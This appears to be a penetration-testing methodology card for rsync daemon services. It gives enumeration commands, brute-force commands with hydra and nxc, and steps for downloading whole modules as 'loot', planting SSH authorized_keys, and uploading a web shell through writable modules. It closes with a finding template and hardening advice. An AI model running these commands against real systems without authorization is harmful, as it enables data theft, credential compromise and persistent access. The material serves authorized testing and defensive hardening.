| name | pentesting-rsync |
| description | Testing rsync daemon services (default port 873) for unauthenticated module listing and access, weak/default credentials and brute force, arbitrary file read/download and write/upload (including authorized_keys planting), and rsyncd.conf/secrets misconfiguration during authorized engagements. |
| domain | cybersecurity |
| subdomain | network-services-pentesting |
| tags | ["penetration-testing","network-services","rsync"] |
| version | 1.0 |
| author | xalgorix |
| license | Apache-2.0 |
Pentesting rsync (port 873)
When to Use
- Default port
873/tcp for the rsync daemon protocol (rsync://); alternate ports such as 8730 are common on NAS devices.
- When
nmap/banner shows rsync or a connection returns an @RSYNCD: <version> banner.
- For enumerating exposed "modules" (directory shares), assessing auth requirements, and testing read/write access.
Quick Enumeration
nc -vn <IP> 873
nmap -sV --script "rsync-list-modules" -p 873 <IP>
msfconsole -q -x 'use auxiliary/scanner/rsync/modules_list; set RHOSTS <IP>; run; exit'
rsync -av --list-only rsync://<IP>
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
Critical: Checks Most Often Missed
- Unauthenticated module access — many modules require no password and allow full read (and sometimes write). The #1 miss.
- Auth-required modules revealed by the protocol — a module that responds
@RSYNCD: AUTHREQD <challenge> confirms a password gate worth brute forcing.
- How to CONFIRM: manual
nc listing shows @RSYNCD: AUTHREQD ... for that module name.
- Writable modules → key planting / file overwrite — write access lets you drop
authorized_keys, cron jobs, or web shells.
- Hidden modules — some shares are not listed; test guessed names (
home, backup, www, etc, share).
- rsyncd.conf / secrets file (post-access) —
secrets file points to a user:password file usable for further auth.
- How to CONFIRM:
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \).
Workflow
Step 1: Enumerate (modules, auth requirement, version)
nc -vn <IP> 873
nmap -sV --script rsync-list-modules -p 873 <IP>
rsync -av --list-only rsync://<IP>
rsync -av --list-only rsync://<IP>/<module>
Step 2: Authenticate (anonymous, default, brute force)
rsync -av --list-only rsync://<IP>/<module>
rsync -av --list-only rsync://<user>@<IP>/<module>
hydra -l <user> -P passwords.txt rsync://<IP>
nxc rsync <IP> -u users.txt -p passwords.txt 2>/dev/null
Step 3: Exploit / Extract (download, upload, key planting)
rsync -av rsync://<IP>:873/<module> ./rsync_shared
rsync -av rsync://<user>@<IP>:8730/<module> ./rsync_shared
rsync -av ~/.ssh/ rsync://<user>@<IP>/<home_module>/.ssh
rsync -av ./shell.php rsync://<IP>/<www_module>/
Step 4: Post-access / pivot
- If you planted
authorized_keys, connect: ssh -i ~/.ssh/id_rsa <user>@<IP>.
- Locate config/secrets for additional creds:
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \).
- Mine downloaded backups for credentials, source code, and configuration to pivot to other services.
Key Concepts
| Concept | Description |
|---|
| rsync daemon | Native rsync:// protocol on 873 exposing named "modules". |
| Module | A directory share, optionally password-protected, defined in rsyncd.conf. |
| @RSYNCD handshake | Server sends @RSYNCD: <ver>; client echoes it, then #list or a module name. |
| AUTHREQD | @RSYNCD: AUTHREQD <challenge> indicates the module needs a password. |
| Writable module | Write access enables file overwrite, key planting, and web-shell upload. |
| secrets file | rsyncd.conf secrets file directive points to a user:pass credential file. |
Tools & Systems
| Tool | Purpose |
|---|
| rsync (client) | Module listing, recursive download, and upload over rsync://. |
| nc | Manual @RSYNCD handshake, module enumeration, auth-requirement detection. |
| nmap NSE | rsync-list-modules. |
| Metasploit | auxiliary/scanner/rsync/modules_list. |
| hydra | Brute force of password-protected modules. |
| find | Post-access discovery of rsyncd.conf / rsyncd.secrets. |
Common Scenarios
Scenario 1: Anonymous backup module → data exfiltration
rsync -av --list-only rsync://<IP>/backup lists files without a prompt. rsync -av rsync://<IP>/backup ./loot downloads full system backups containing /etc/shadow and SSH keys.
Scenario 2: Writable home module → SSH access
A home_user module is writable. Uploading authorized_keys via rsync -av ~/.ssh/ rsync://user@<IP>/home_user/.ssh then ssh user@<IP> yields an interactive shell.
Scenario 3: NAS on alternate port
A NAS exposes rsync on 8730. rsync -av --list-only rsync://<IP>:8730 reveals NAS_Public with read access to shared documents and stored credentials.
Output Format
## rsync Finding
**Service**: rsync daemon
**Port**: 873/tcp (protocol 31.0)
**Severity**: High
**Finding**: Unauthenticated, writable module exposing the filesystem
**Evidence**:
- rsync-list-modules: "backup", "home_user", "www"
- rsync -av --list-only rsync://<IP>/backup listed files with no auth
- uploaded authorized_keys to rsync://<IP>/home_user/.ssh and obtained SSH access
**Impact**: Unauthenticated attackers can read sensitive backups and write SSH keys/web shells, leading to full host compromise.
**Recommendation**:
1. Require authentication on every module (`auth users` + `secrets file`).
2. Set `read only = yes` unless write is strictly needed; scope `path` tightly.
3. Bind rsyncd to management networks / restrict by `hosts allow`, or tunnel rsync over SSH instead.